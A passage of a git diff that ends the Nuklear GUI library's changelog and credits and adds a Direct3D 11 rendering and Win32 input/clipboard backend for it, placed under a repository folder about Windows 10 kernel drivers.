BREAKING CHANGE: nk_draw_list_clear no longer tries to +/// clear provided buffers. So make sure to either free +/// or clear each passed buffer after calling nk_convert. +/// - 2018/02/23 (3.00.6) - Fixed slider dragging behavior +/// - 2018/01/31 (3.00.5) - Fixed overcalculation of cursor data in font baking process +/// - 2018/01/31 (3.00.4) - Removed name collision with stb_truetype +/// - 2018/01/28 (3.00.3) - Fixed panel window border drawing bug +/// - 2018/01/12 (3.00.2) - Added `nk_group_begin_titled` for separed group identifier and title +/// - 2018/01/07 (3.00.1) - Started to change documentation style +/// - 2018/01/05 (3.00.0) - BREAKING CHANGE: The previous color picker API was broken +/// because of conversions between float and byte color representation. +/// Color pickers now use floating point values to represent +/// HSV values. To get back the old behavior I added some additional +/// color conversion functions to cast between nk_color and +/// nk_colorf. +/// - 2017/12/23 (2.00.7) - Fixed small warning +/// - 2017/12/23 (2.00.7) - Fixed nk_edit_buffer behavior if activated to allow input +/// - 2017/12/23 (2.00.7) - Fixed modifyable progressbar dragging visuals and input behavior +/// - 2017/12/04 (2.00.6) - Added formated string tooltip widget +/// - 2017/11/18 (2.00.5) - Fixed window becoming hidden with flag NK_WINDOW_NO_INPUT +/// - 2017/11/15 (2.00.4) - Fixed font merging +/// - 2017/11/07 (2.00.3) - Fixed window size and position modifier functions +/// - 2017/09/14 (2.00.2) - Fixed nk_edit_buffer and nk_edit_focus behavior +/// - 2017/09/14 (2.00.1) - Fixed window closing behavior +/// - 2017/09/14 (2.00.0) - BREAKING CHANGE: Modifing window position and size funtions now +/// require the name of the window and must happen outside the window +/// building process (between function call nk_begin and nk_end). +/// - 2017/09/11 (1.40.9) - Fixed window background flag if background window is declared last +/// - 2017/08/27 (1.40.8) - Fixed `nk_item_is_any_active` for hidden windows +/// - 2017/08/27 (1.40.7) - Fixed window background flag +/// - 2017/07/07 (1.40.6) - Fixed missing clipping rect check for hovering/clicked +/// query for widgets +/// - 2017/07/07 (1.40.5) - Fixed drawing bug for vertex output for lines and stroked +/// and filled rectangles +/// - 2017/07/07 (1.40.4) - Fixed bug in nk_convert trying to add windows that are in +/// process of being destroyed. +/// - 2017/07/07 (1.40.3) - Fixed table internal bug caused by storing table size in +/// window instead of directly in table. +/// - 2017/06/30 (1.40.2) - Removed unneeded semicolon in C++ NK_ALIGNOF macro +/// - 2017/06/30 (1.40.1) - Fixed drawing lines smaller or equal zero +/// - 2017/06/08 (1.40.0) - Removed the breaking part of last commit. Auto layout now only +/// comes in effect if you pass in zero was row height argument +/// - 2017/06/08 (1.40.0) - BREAKING CHANGE: while not directly API breaking it will change +/// how layouting works. From now there will be an internal minimum +/// row height derived from font height. If you need a row smaller than +/// that you can directly set it by `nk_layout_set_min_row_height` and +/// reset the value back by calling `nk_layout_reset_min_row_height. +/// - 2017/06/08 (1.39.1) - Fixed property text edit handling bug caused by past `nk_widget` fix +/// - 2017/06/08 (1.39.0) - Added function to retrieve window space without calling a nk_layout_xxx function +/// - 2017/06/06 (1.38.5) - Fixed `nk_convert` return flag for command buffer +/// - 2017/05/23 (1.38.4) - Fixed activation behavior for widgets partially clipped +/// - 2017/05/10 (1.38.3) - Fixed wrong min window size mouse scaling over boundries +/// - 2017/05/09 (1.38.2) - Fixed vertical scrollbar drawing with not enough space +/// - 2017/05/09 (1.38.1) - Fixed scaler dragging behavior if window size hits minimum size +/// - 2017/05/06 (1.38.0) - Added platform double-click support +/// - 2017/04/20 (1.37.1) - Fixed key repeat found inside glfw demo backends +/// - 2017/04/20 (1.37.0) - Extended properties with selection and clipbard support +/// - 2017/04/20 (1.36.2) - Fixed #405 overlapping rows with zero padding and spacing +/// - 2017/04/09 (1.36.1) - Fixed #403 with another widget float error +/// - 2017/04/09 (1.36.0) - Added window `NK_WINDOW_NO_INPUT` and `NK_WINDOW_NOT_INTERACTIVE` flags +/// - 2017/04/09 (1.35.3) - Fixed buffer heap corruption +/// - 2017/03/25 (1.35.2) - Fixed popup overlapping for `NK_WINDOW_BACKGROUND` windows +/// - 2017/03/25 (1.35.1) - Fixed windows closing behavior +/// - 2017/03/18 (1.35.0) - Added horizontal scroll requested in #377 +/// - 2017/03/18 (1.34.3) - Fixed long window header titles +/// - 2017/03/04 (1.34.2) - Fixed text edit filtering +/// - 2017/03/04 (1.34.1) - Fixed group closable flag +/// - 2017/02/25 (1.34.0) - Added custom draw command for better language binding support +/// - 2017/01/24 (1.33.0) - Added programatic way of remove edit focus +/// - 2017/01/24 (1.32.3) - Fixed wrong define for basic type definitions for windows +/// - 2017/01/21 (1.32.2) - Fixed input capture from hidden or closed windows +/// - 2017/01/21 (1.32.1) - Fixed slider behavior and drawing +/// - 2017/01/13 (1.32.0) - Added flag to put scaler into the bottom left corner +/// - 2017/01/13 (1.31.0) - Added additional row layouting method to combine both +/// dynamic and static widgets. +/// - 2016/12/31 (1.30.0) - Extended scrollbar offset from 16-bit to 32-bit +/// - 2016/12/31 (1.29.2)- Fixed closing window bug of minimized windows +/// - 2016/12/03 (1.29.1)- Fixed wrapped text with no seperator and C89 error +/// - 2016/12/03 (1.29.0) - Changed text wrapping to process words not characters +/// - 2016/11/22 (1.28.6)- Fixed window minimized closing bug +/// - 2016/11/19 (1.28.5)- Fixed abstract combo box closing behavior +/// - 2016/11/19 (1.28.4)- Fixed tooltip flickering +/// - 2016/11/19 (1.28.3)- Fixed memory leak caused by popup repeated closing +/// - 2016/11/18 (1.28.2)- Fixed memory leak caused by popup panel allocation +/// - 2016/11/10 (1.28.1)- Fixed some warnings and C++ error +/// - 2016/11/10 (1.28.0)- Added additional `nk_button` versions which allows to directly +/// pass in a style struct to change buttons visual. +/// - 2016/11/10 (1.27.0)- Added additional 'nk_tree' versions to support external state +/// storage. Just like last the `nk_group` commit the main +/// advantage is that you optionally can minimize nuklears runtime +/// memory consumption or handle hash collisions. +/// - 2016/11/09 (1.26.0)- Added additional `nk_group` version to support external scrollbar +/// offset storage. Main advantage is that you can externalize +/// the memory management for the offset. It could also be helpful +/// if you have a hash collision in `nk_group_begin` but really +/// want the name. In addition I added `nk_list_view` which allows +/// to draw big lists inside a group without actually having to +/// commit the whole list to nuklear (issue #269). +/// - 2016/10/30 (1.25.1)- Fixed clipping rectangle bug inside `nk_draw_list` +/// - 2016/10/29 (1.25.0)- Pulled `nk_panel` memory management into nuklear and out of +/// the hands of the user. From now on users don't have to care +/// about panels unless they care about some information. If you +/// still need the panel just call `nk_window_get_panel`. +/// - 2016/10/21 (1.24.0)- Changed widget border drawing to stroked rectangle from filled +/// rectangle for less overdraw and widget background transparency. +/// - 2016/10/18 (1.23.0)- Added `nk_edit_focus` for manually edit widget focus control +/// - 2016/09/29 (1.22.7)- Fixed deduction of basic type in non `` compilation +/// - 2016/09/29 (1.22.6)- Fixed edit widget UTF-8 text cursor drawing bug +/// - 2016/09/28 (1.22.5)- Fixed edit widget UTF-8 text appending/inserting/removing +/// - 2016/09/28 (1.22.4)- Fixed drawing bug inside edit widgets which offset all text +/// text in every edit widget if one of them is scrolled. +/// - 2016/09/28 (1.22.3)- Fixed small bug in edit widgets if not active. The wrong +/// text length is passed. It should have been in bytes but +/// was passed as glyphes. +/// - 2016/09/20 (1.22.2)- Fixed color button size calculation +/// - 2016/09/20 (1.22.1)- Fixed some `nk_vsnprintf` behavior bugs and removed +/// `` again from `NK_INCLUDE_STANDARD_VARARGS`. +/// - 2016/09/18 (1.22.0)- C89 does not support vsnprintf only C99 and newer as well +/// as C++11 and newer. In addition to use vsnprintf you have +/// to include . So just defining `NK_INCLUDE_STD_VAR_ARGS` +/// is not enough. That behavior is now fixed. By default if +/// both varargs as well as stdio is selected I try to use +/// vsnprintf if not possible I will revert to vsprintf. If +/// varargs but not stdio was defined I will use my own function. +/// - 2016/09/15 (1.21.2)- Fixed panel `close` behavior for deeper panel levels +/// - 2016/09/15 (1.21.1)- Fixed C++ errors and wrong argument to `nk_panel_get_xxxx` +/// - 2016/09/13 (1.21.0) - !BREAKING! Fixed nonblocking popup behavior in menu, combo, +/// and contextual which prevented closing in y-direction if +/// popup did not reach max height. +/// In addition the height parameter was changed into vec2 +/// for width and height to have more control over the popup size. +/// - 2016/09/13 (1.20.3) - Cleaned up and extended type selection +/// - 2016/09/13 (1.20.2)- Fixed slider behavior hopefully for the last time. This time +/// all calculation are correct so no more hackery. +/// - 2016/09/13 (1.20.1)- Internal change to divide window/panel flags into panel flags and types. +/// Suprisinly spend years in C and still happened to confuse types +/// with flags. Probably something to take note. +/// - 2016/09/08 (1.20.0)- Added additional helper function to make it easier to just +/// take the produced buffers from `nk_convert` and unplug the +/// iteration process from `nk_context`. So now you can +/// just use the vertex,element and command buffer + two pointer +/// inside the command buffer retrieved by calls `nk__draw_begin` +/// and `nk__draw_end` and macro `nk_draw_foreach_bounded`. +/// - 2016/09/08 (1.19.0)- Added additional asserts to make sure every `nk_xxx_begin` call +/// for windows, popups, combobox, menu and contextual is guarded by +/// `if` condition and does not produce false drawing output. +/// - 2016/09/08 (1.18.0)- Changed confusing name for `NK_SYMBOL_RECT_FILLED`, `NK_SYMBOL_RECT` +/// to hopefully easier to understand `NK_SYMBOL_RECT_FILLED` and +/// `NK_SYMBOL_RECT_OUTLINE`. +/// - 2016/09/08 (1.17.0)- Changed confusing name for `NK_SYMBOL_CIRLCE_FILLED`, `NK_SYMBOL_CIRCLE` +/// to hopefully easier to understand `NK_SYMBOL_CIRCLE_FILLED` and +/// `NK_SYMBOL_CIRCLE_OUTLINE`. +/// - 2016/09/08 (1.16.0)- Added additional checks to select correct types if `NK_INCLUDE_FIXED_TYPES` +/// is not defined by supporting the biggest compiler GCC, clang and MSVC. +/// - 2016/09/07 (1.15.3)- Fixed `NK_INCLUDE_COMMAND_USERDATA` define to not cause an error +/// - 2016/09/04 (1.15.2)- Fixed wrong combobox height calculation +/// - 2016/09/03 (1.15.1)- Fixed gaps inside combo boxes in OpenGL +/// - 2016/09/02 (1.15.0) - Changed nuklear to not have any default vertex layout and +/// instead made it user provided. The range of types to convert +/// to is quite limited at the moment, but I would be more than +/// happy to accept PRs to add additional. +/// - 2016/08/30 (1.14.2) - Removed unused variables +/// - 2016/08/30 (1.14.1) - Fixed C++ build errors +/// - 2016/08/30 (1.14.0) - Removed mouse dragging from SDL demo since it does not work correctly +/// - 2016/08/30 (1.13.4) - Tweaked some default styling variables +/// - 2016/08/30 (1.13.3) - Hopefully fixed drawing bug in slider, in general I would +/// refrain from using slider with a big number of steps. +/// - 2016/08/30 (1.13.2) - Fixed close and minimize button which would fire even if the +/// window was in Read Only Mode. +/// - 2016/08/30 (1.13.1) - Fixed popup panel padding handling which was previously just +/// a hack for combo box and menu. +/// - 2016/08/30 (1.13.0) - Removed `NK_WINDOW_DYNAMIC` flag from public API since +/// it is bugged and causes issues in window selection. +/// - 2016/08/30 (1.12.0) - Removed scaler size. The size of the scaler is now +/// determined by the scrollbar size +/// - 2016/08/30 (1.11.2) - Fixed some drawing bugs caused by changes from 1.11 +/// - 2016/08/30 (1.11.1) - Fixed overlapping minimized window selection +/// - 2016/08/30 (1.11.0) - Removed some internal complexity and overly complex code +/// handling panel padding and panel border. +/// - 2016/08/29 (1.10.0) - Added additional height parameter to `nk_combobox_xxx` +/// - 2016/08/29 (1.10.0) - Fixed drawing bug in dynamic popups +/// - 2016/08/29 (1.10.0) - Added experimental mouse scrolling to popups, menus and comboboxes +/// - 2016/08/26 (1.10.0) - Added window name string prepresentation to account for +/// hash collisions. Currently limited to NK_WINDOW_MAX_NAME +/// which in term can be redefined if not big enough. +/// - 2016/08/26 (1.10.0) - Added stacks for temporary style/UI changes in code +/// - 2016/08/25 (1.10.0) - Changed `nk_input_is_key_pressed` and 'nk_input_is_key_released' +/// to account for key press and release happening in one frame. +/// - 2016/08/25 (1.10.0) - Added additional nk_edit flag to directly jump to the end on activate +/// - 2016/08/17 (1.09.6)- Removed invalid check for value zero in nk_propertyx +/// - 2016/08/16 (1.09.5)- Fixed ROM mode for deeper levels of popup windows parents. +/// - 2016/08/15 (1.09.4)- Editbox are now still active if enter was pressed with flag +/// `NK_EDIT_SIG_ENTER`. Main reasoning is to be able to keep +/// typing after commiting. +/// - 2016/08/15 (1.09.4)- Removed redundant code +/// - 2016/08/15 (1.09.4)- Fixed negative numbers in `nk_strtoi` and remove unused variable +/// - 2016/08/15 (1.09.3)- Fixed `NK_WINDOW_BACKGROUND` flag behavior to select a background +/// window only as selected by hovering and not by clicking. +/// - 2016/08/14 (1.09.2)- Fixed a bug in font atlas which caused wrong loading +/// of glyphes for font with multiple ranges. +/// - 2016/08/12 (1.09.1)- Added additional function to check if window is currently +/// hidden and therefore not visible. +/// - 2016/08/12 (1.09.1)- nk_window_is_closed now queries the correct flag `NK_WINDOW_CLOSED` +/// instead of the old flag `NK_WINDOW_HIDDEN` +/// - 2016/08/09 (1.09.0) - Added additional double version to nk_property and changed +/// the underlying implementation to not cast to float and instead +/// work directly on the given values. +/// - 2016/08/09 (1.08.0) - Added additional define to overwrite library internal +/// floating pointer number to string conversion for additional +/// precision. +/// - 2016/08/09 (1.08.0) - Added additional define to overwrite library internal +/// string to floating point number conversion for additional +/// precision. +/// - 2016/08/08 (1.07.2)- Fixed compiling error without define NK_INCLUDE_FIXED_TYPE +/// - 2016/08/08 (1.07.1)- Fixed possible floating point error inside `nk_widget` leading +/// to wrong wiget width calculation which results in widgets falsly +/// becomming tagged as not inside window and cannot be accessed. +/// - 2016/08/08 (1.07.0) - Nuklear now differentiates between hiding a window (NK_WINDOW_HIDDEN) and +/// closing a window (NK_WINDOW_CLOSED). A window can be hidden/shown +/// by using `nk_window_show` and closed by either clicking the close +/// icon in a window or by calling `nk_window_close`. Only closed +/// windows get removed at the end of the frame while hidden windows +/// remain. +/// - 2016/08/08 (1.06.0) - Added `nk_edit_string_zero_terminated` as a second option to +/// `nk_edit_string` which takes, edits and outputs a '\0' terminated string. +/// - 2016/08/08 (1.05.4)- Fixed scrollbar auto hiding behavior +/// - 2016/08/08 (1.05.3)- Fixed wrong panel padding selection in `nk_layout_widget_space` +/// - 2016/08/07 (1.05.2)- Fixed old bug in dynamic immediate mode layout API, calculating +/// wrong item spacing and panel width. +///- 2016/08/07 (1.05.1)- Hopefully finally fixed combobox popup drawing bug +///- 2016/08/07 (1.05.0) - Split varargs away from NK_INCLUDE_STANDARD_IO into own +/// define NK_INCLUDE_STANDARD_VARARGS to allow more fine +/// grained controlled over library includes. +/// - 2016/08/06 (1.04.5)- Changed memset calls to NK_MEMSET +/// - 2016/08/04 (1.04.4)- Fixed fast window scaling behavior +/// - 2016/08/04 (1.04.3)- Fixed window scaling, movement bug which appears if you +/// move/scale a window and another window is behind it. +/// If you are fast enough then the window behind gets activated +/// and the operation is blocked. I now require activating +/// by hovering only if mouse is not pressed. +/// - 2016/08/04 (1.04.2)- Fixed changing fonts +/// - 2016/08/03 (1.04.1)- Fixed `NK_WINDOW_BACKGROUND` behavior +/// - 2016/08/03 (1.04.0) - Added color parameter to `nk_draw_image` +/// - 2016/08/03 (1.04.0) - Added additional window padding style attributes for +/// sub windows (combo, menu, ...) +/// - 2016/08/03 (1.04.0) - Added functions to show/hide software cursor +/// - 2016/08/03 (1.04.0) - Added `NK_WINDOW_BACKGROUND` flag to force a window +/// to be always in the background of the screen +/// - 2016/08/03 (1.03.2)- Removed invalid assert macro for NK_RGB color picker +/// - 2016/08/01 (1.03.1)- Added helper macros into header include guard +/// - 2016/07/29 (1.03.0) - Moved the window/table pool into the header part to +/// simplify memory management by removing the need to +/// allocate the pool. +/// - 2016/07/29 (1.02.0) - Added auto scrollbar hiding window flag which if enabled +/// will hide the window scrollbar after NK_SCROLLBAR_HIDING_TIMEOUT +/// seconds without window interaction. To make it work +/// you have to also set a delta time inside the `nk_context`. +/// - 2016/07/25 (1.01.1) - Fixed small panel and panel border drawing bugs +/// - 2016/07/15 (1.01.0) - Added software cursor to `nk_style` and `nk_context` +/// - 2016/07/15 (1.01.0) - Added const correctness to `nk_buffer_push' data argument +/// - 2016/07/15 (1.01.0) - Removed internal font baking API and simplified +/// font atlas memory management by converting pointer +/// arrays for fonts and font configurations to lists. +/// - 2016/07/15 (1.00.0) - Changed button API to use context dependend button +/// behavior instead of passing it for every function call. +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// ## Gallery +/// ![Figure [blue]: Feature overview with blue color styling](https://cloud.githubusercontent.com/assets/8057201/13538240/acd96876-e249-11e5-9547-5ac0b19667a0.png) +/// ![Figure [red]: Feature overview with red color styling](https://cloud.githubusercontent.com/assets/8057201/13538243/b04acd4c-e249-11e5-8fd2-ad7744a5b446.png) +/// ![Figure [widgets]: Widget overview](https://cloud.githubusercontent.com/assets/8057201/11282359/3325e3c6-8eff-11e5-86cb-cf02b0596087.png) +/// ![Figure [blackwhite]: Black and white](https://cloud.githubusercontent.com/assets/8057201/11033668/59ab5d04-86e5-11e5-8091-c56f16411565.png) +/// ![Figure [filexp]: File explorer](https://cloud.githubusercontent.com/assets/8057201/10718115/02a9ba08-7b6b-11e5-950f-adacdd637739.png) +/// ![Figure [opengl]: OpenGL Editor](https://cloud.githubusercontent.com/assets/8057201/12779619/2a20d72c-ca69-11e5-95fe-4edecf820d5c.png) +/// ![Figure [nodedit]: Node Editor](https://cloud.githubusercontent.com/assets/8057201/9976995/e81ac04a-5ef7-11e5-872b-acd54fbeee03.gif) +/// ![Figure [skinning]: Using skinning in Nuklear](https://cloud.githubusercontent.com/assets/8057201/15991632/76494854-30b8-11e6-9555-a69840d0d50b.png) +/// ![Figure [bf]: Heavy modified version](https://cloud.githubusercontent.com/assets/8057201/14902576/339926a8-0d9c-11e6-9fee-a8b73af04473.png) +/// +/// ## Credits +/// Developed by Micha Mettke and every direct or indirect github contributor.

+/// +/// Embeds [stb_texedit](https://github.com/nothings/stb/blob/master/stb_textedit.h), [stb_truetype](https://github.com/nothings/stb/blob/master/stb_truetype.h) and [stb_rectpack](https://github.com/nothings/stb/blob/master/stb_rect_pack.h) by Sean Barret (public domain)
+/// Uses [stddoc.c](https://github.com/r-lyeh/stddoc.c) from r-lyeh@github.com for documentation generation

+/// Embeds ProggyClean.ttf font by Tristan Grimmer (MIT license).
+/// +/// Big thank you to Omar Cornut (ocornut@github) for his [imgui library](https://github.com/ocornut/imgui) and +/// giving me the inspiration for this library, Casey Muratori for handmade hero +/// and his original immediate mode graphical user interface idea and Sean +/// Barret for his amazing single header libraries which restored my faith +/// in libraries and brought me to create some of my own. Finally Apoorva Joshi +/// for his single header file packer. +*/ + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear_d3d11.cpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear_d3d11.cpp" new file mode 100644 index 0000000..6a67176 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/super framework [\344\270\215\351\224\231\347\232\204\346\241\206\346\236\266]/usermode/nuklear/nuklear_d3d11.cpp" @@ -0,0 +1,684 @@ +#include "nuklear_d3d11.h" + +#define NK_IMPLEMENTATION +#include "nuklear.h" + +NK_API void +nk_d3d11_render(ID3D11DeviceContext* context, enum nk_anti_aliasing AA) { + const float blend_factor[4] = { 0.0f, 0.0f, 0.0f, 0.0f }; + const UINT stride = sizeof(struct nk_d3d11_vertex); + const UINT offset = 0; + + context->IASetInputLayout(d3d11.input_layout); + context->IASetVertexBuffers(0, 1, &d3d11.vertex_buffer, &stride, &offset); + context->IASetIndexBuffer(d3d11.index_buffer, DXGI_FORMAT_R16_UINT, 0); + context->IASetPrimitiveTopology(D3D11_PRIMITIVE_TOPOLOGY_TRIANGLELIST); + + context->VSSetShader(d3d11.vertex_shader, NULL, 0); + context->VSSetConstantBuffers(0, 1, &d3d11.const_buffer); + + context->PSSetShader(d3d11.pixel_shader, NULL, 0); + context->PSSetSamplers(0, 1, &d3d11.sampler_state); + + context->OMSetBlendState(d3d11.blend_state, blend_factor, 0xffffffff); + context->RSSetState(d3d11.rasterizer_state); + context->RSSetViewports(1, &d3d11.viewport); + + /* Convert from command queue into draw list and draw to screen */ + {/* load draw vertices & elements directly into vertex + element buffer */ + D3D11_MAPPED_SUBRESOURCE vertices; + D3D11_MAPPED_SUBRESOURCE indices; + const struct nk_draw_command* cmd; + UINT offset = 0; + HRESULT hr; + + hr = context->Map((ID3D11Resource*)d3d11.vertex_buffer, 0, D3D11_MAP_WRITE_DISCARD, 0, &vertices); + NK_ASSERT(SUCCEEDED(hr)); + hr = context->Map((ID3D11Resource*)d3d11.index_buffer, 0, D3D11_MAP_WRITE_DISCARD, 0, &indices); + NK_ASSERT(SUCCEEDED(hr)); + + {/* fill converting configuration */ + struct nk_convert_config config; + NK_STORAGE const struct nk_draw_vertex_layout_element vertex_layout[] = { + {NK_VERTEX_POSITION, NK_FORMAT_FLOAT, NK_OFFSETOF(struct nk_d3d11_vertex, position)}, + {NK_VERTEX_TEXCOORD, NK_FORMAT_FLOAT, NK_OFFSETOF(struct nk_d3d11_vertex, uv)}, + {NK_VERTEX_COLOR, NK_FORMAT_R8G8B8A8, NK_OFFSETOF(struct nk_d3d11_vertex, col)}, + {NK_VERTEX_LAYOUT_END} + }; + memset(&config, 0, sizeof(config)); + config.vertex_layout = vertex_layout; + config.vertex_size = sizeof(struct nk_d3d11_vertex); + config.vertex_alignment = NK_ALIGNOF(struct nk_d3d11_vertex); + config.global_alpha = 1.0f; + config.shape_AA = AA; + config.line_AA = AA; + config.circle_segment_count = 22; + config.curve_segment_count = 22; + config.arc_segment_count = 22; + config.null = d3d11.null; + + {/* setup buffers to load vertices and elements */ + struct nk_buffer vbuf, ibuf; + nk_buffer_init_fixed(&vbuf, vertices.pData, (size_t)d3d11.max_vertex_buffer); + nk_buffer_init_fixed(&ibuf, indices.pData, (size_t)d3d11.max_index_buffer); + nk_convert(&d3d11.ctx, &d3d11.cmds, &vbuf, &ibuf, &config); + } + } + + context->Unmap((ID3D11Resource*)d3d11.vertex_buffer, 0); + context->Unmap((ID3D11Resource*)d3d11.index_buffer, 0); + + /* iterate over and execute each draw command */ + nk_draw_foreach(cmd, &d3d11.ctx, &d3d11.cmds) { + D3D11_RECT scissor; + ID3D11ShaderResourceView* texture_view = (ID3D11ShaderResourceView*)cmd->texture.ptr; + if (!cmd->elem_count) continue; + + scissor.left = (LONG)cmd->clip_rect.x; + scissor.right = (LONG)(cmd->clip_rect.x + cmd->clip_rect.w); + scissor.top = (LONG)cmd->clip_rect.y; + scissor.bottom = (LONG)(cmd->clip_rect.y + cmd->clip_rect.h); + + context->PSSetShaderResources(0, 1, &texture_view); + context->RSSetScissorRects(1, &scissor); + context->DrawIndexed((UINT)cmd->elem_count, offset, 0); + offset += cmd->elem_count; + } + nk_clear(&d3d11.ctx); + } +} + +static void +nk_d3d11_get_projection_matrix(int width, int height, float* result) { + const float L = 0.0f; + const float R = (float)width; + const float T = 0.0f; + const float B = (float)height; + float matrix[4][4] = + { + { 2.0f / (R - L), 0.0f, 0.0f, 0.0f }, + { 0.0f, 2.0f / (T - B), 0.0f, 0.0f }, + { 0.0f, 0.0f, 0.5f, 0.0f }, + { (R + L) / (L - R), (T + B) / (B - T), 0.5f, 1.0f }, + }; + memcpy(result, matrix, sizeof(matrix)); +} + +NK_API void +nk_d3d11_resize(ID3D11DeviceContext* context, int width, int height) { + D3D11_MAPPED_SUBRESOURCE mapped; + if (SUCCEEDED(context->Map((ID3D11Resource*)d3d11.const_buffer, 0, D3D11_MAP_WRITE_DISCARD, 0, &mapped))) { + nk_d3d11_get_projection_matrix(width, height, (float*)mapped.pData); + context->Unmap((ID3D11Resource*)d3d11.const_buffer, 0); + + d3d11.viewport.Width = (float)width; + d3d11.viewport.Height = (float)height; + } +} + +// +// TODO: Implement health check on mouse x & mouse y so application doesn't crash for being out of bounds. +// + +NK_API int +nk_d3d11_handle_event(HWND wnd, UINT msg, WPARAM wparam, LPARAM lparam) { + switch (msg) { + case WM_KEYDOWN: + case WM_KEYUP: + case WM_SYSKEYDOWN: + case WM_SYSKEYUP: + { + int down = !((lparam >> 31) & 1); + int ctrl = GetKeyState(VK_CONTROL) & (1 << 15); + + switch (wparam) { + case VK_SHIFT: + case VK_LSHIFT: + case VK_RSHIFT: + nk_input_key(&d3d11.ctx, NK_KEY_SHIFT, down); + return 1; + + case VK_DELETE: + nk_input_key(&d3d11.ctx, NK_KEY_DEL, down); + return 1; + + case VK_RETURN: + nk_input_key(&d3d11.ctx, NK_KEY_ENTER, down); + return 1; + + case VK_TAB: + nk_input_key(&d3d11.ctx, NK_KEY_TAB, down); + return 1; + + case VK_LEFT: + if (ctrl) + nk_input_key(&d3d11.ctx, NK_KEY_TEXT_WORD_LEFT, down); + else + nk_input_key(&d3d11.ctx, NK_KEY_LEFT, down); + return 1; + + case VK_RIGHT: + if (ctrl) + nk_input_key(&d3d11.ctx, NK_KEY_TEXT_WORD_RIGHT, down); + else + nk_input_key(&d3d11.ctx, NK_KEY_RIGHT, down); + return 1; + + case VK_BACK: + nk_input_key(&d3d11.ctx, NK_KEY_BACKSPACE, down); + return 1; + + case VK_HOME: + nk_input_key(&d3d11.ctx, NK_KEY_TEXT_START, down); + nk_input_key(&d3d11.ctx, NK_KEY_SCROLL_START, down); + return 1; + + case VK_END: + nk_input_key(&d3d11.ctx, NK_KEY_TEXT_END, down); + nk_input_key(&d3d11.ctx, NK_KEY_SCROLL_END, down); + return 1; + + case VK_NEXT: + nk_input_key(&d3d11.ctx, NK_KEY_SCROLL_DOWN, down); + return 1; + + case VK_PRIOR: + nk_input_key(&d3d11.ctx, NK_KEY_SCROLL_UP, down); + return 1; + + case 'C': + if (ctrl) { + nk_input_key(&d3d11.ctx, NK_KEY_COPY, down); + return 1; + } + break; + + case 'V': + if (ctrl) { + nk_input_key(&d3d11.ctx, NK_KEY_PASTE, down); + return 1; + } + break; + + case 'X': + if (ctrl) { + nk_input_key(&d3d11.ctx, NK_KEY_CUT, down); + return 1; + } + break; + + case 'Z': + if (ctrl) { + nk_input_key(&d3d11.ctx, NK_KEY_TEXT_UNDO, down); + return 1; + } + break; + + case 'R': + if (ctrl) { + nk_input_key(&d3d11.ctx, NK_KEY_TEXT_REDO, down); + return 1; + } + break; + } + return 0; + } + + case WM_CHAR: + if (wparam >= 32) { + nk_input_unicode(&d3d11.ctx, (nk_rune)wparam); + return 1; + } + break; + + case WM_LBUTTONDOWN: + nk_input_button(&d3d11.ctx, NK_BUTTON_LEFT, (short)LOWORD(lparam), (short)HIWORD(lparam), 1); + SetCapture(wnd); + return 1; + + case WM_LBUTTONUP: + nk_input_button(&d3d11.ctx, NK_BUTTON_DOUBLE, (short)LOWORD(lparam), (short)HIWORD(lparam), 0); + nk_input_button(&d3d11.ctx, NK_BUTTON_LEFT, (short)LOWORD(lparam), (short)HIWORD(lparam), 0); + ReleaseCapture(); + return 1; + + case WM_RBUTTONDOWN: + nk_input_button(&d3d11.ctx, NK_BUTTON_RIGHT, (short)LOWORD(lparam), (short)HIWORD(lparam), 1); + SetCapture(wnd); + return 1; + + case WM_RBUTTONUP: + nk_input_button(&d3d11.ctx, NK_BUTTON_RIGHT, (short)LOWORD(lparam), (short)HIWORD(lparam), 0); + ReleaseCapture(); + return 1; + + case WM_MBUTTONDOWN: + nk_input_button(&d3d11.ctx, NK_BUTTON_MIDDLE, (short)LOWORD(lparam), (short)HIWORD(lparam), 1); + SetCapture(wnd); + return 1; + + case WM_MBUTTONUP: + nk_input_button(&d3d11.ctx, NK_BUTTON_MIDDLE, (short)LOWORD(lparam), (short)HIWORD(lparam), 0); + ReleaseCapture(); + return 1; + + case WM_MOUSEWHEEL: + nk_input_scroll(&d3d11.ctx, nk_vec2(0, (float)(short)HIWORD(wparam) / WHEEL_DELTA)); + return 1; + + case WM_MOUSEMOVE: + nk_input_motion(&d3d11.ctx, (short)LOWORD(lparam), (short)HIWORD(lparam)); + return 1; + + case WM_LBUTTONDBLCLK: + nk_input_button(&d3d11.ctx, NK_BUTTON_DOUBLE, (short)LOWORD(lparam), (short)HIWORD(lparam), 1); + return 1; + } + + return 0; +} + +static void +nk_d3d11_clipboard_paste(nk_handle usr, struct nk_text_edit* edit) { + (void)usr; + if (IsClipboardFormatAvailable(CF_UNICODETEXT) && OpenClipboard(NULL)) { + HGLOBAL mem = GetClipboardData(CF_UNICODETEXT); + if (mem) { + SIZE_T size = GlobalSize(mem) - 1; + if (size) { + LPCWSTR wstr = (LPCWSTR)GlobalLock(mem); + if (wstr) { + int utf8size = WideCharToMultiByte(CP_UTF8, 0, wstr, size / sizeof(wchar_t), NULL, 0, NULL, NULL); + if (utf8size) { + char* utf8 = (char*)malloc(utf8size); + if (utf8) { + WideCharToMultiByte(CP_UTF8, 0, wstr, size / sizeof(wchar_t), utf8, utf8size, NULL, NULL); + nk_textedit_paste(edit, utf8, utf8size); + free(utf8); + } + } + GlobalUnlock(mem); + } + } + } + CloseClipboard(); + } +} + +static void +nk_d3d11_clipboard_copy(nk_handle usr, const char* text, int len) { + (void)usr; + if (OpenClipboard(NULL)) { + int wsize = MultiByteToWideChar(CP_UTF8, 0, text, len, NULL, 0); + if (wsize) { + HGLOBAL mem = GlobalAlloc(GMEM_MOVEABLE, (wsize + 1) * sizeof(wchar_t)); + if (mem) { + wchar_t* wstr = (wchar_t*)GlobalLock(mem); + if (wstr) { + MultiByteToWideChar(CP_UTF8, 0, text, len, wstr, wsize); + wstr[wsize] = 0; + GlobalUnlock(mem); + SetClipboardData(CF_UNICODETEXT, mem); + } + } + } + 